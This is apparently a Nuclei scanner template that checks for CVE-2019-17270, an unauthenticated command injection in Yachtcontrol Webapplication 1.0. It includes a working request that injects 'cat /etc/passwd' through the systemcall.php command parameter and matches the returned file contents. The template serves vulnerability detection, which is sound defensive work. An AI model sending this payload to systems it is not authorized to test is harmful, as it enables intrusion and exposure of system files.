id: CVE-2019-17270

info:
  name: Yachtcontrol Webapplication 1.0 - Remote Command Injection
  author: pikpikcu
  severity: critical
  description: |
    Yachtcontrol Webapplication 1.0 makes it possible to perform direct operating system commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}" page and parameter, where {COMMAND} will be executed and returning the results to the client. Affects Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the remote command injection vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47760
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17270
    - http://packetstormsecurity.com/files/155582/Yachtcontrol-2019-10-06-Remote-Code-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-17270
    cwe-id: CWE-78
    epss-score: 0.58879
    epss-percentile: 0.98988
    cpe: cpe:2.3:a:yachtcontrol:yachtcontrol:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: yachtcontrol
    product: yachtcontrol
  tags: cve,cve2019,rce,yachtcontrol,edb,packetstorm,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pages/systemcall.php?command=cat%20/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022049be3bc226d6144a2cb281c88ea94d45da34124cbe477896d786ec2fffd8eb5b022100d2cf8a4810551c403188a9533150a72897c4cc2653300cc815bcb1a53e71d716:922c64590222798bb761d5b6d8e72950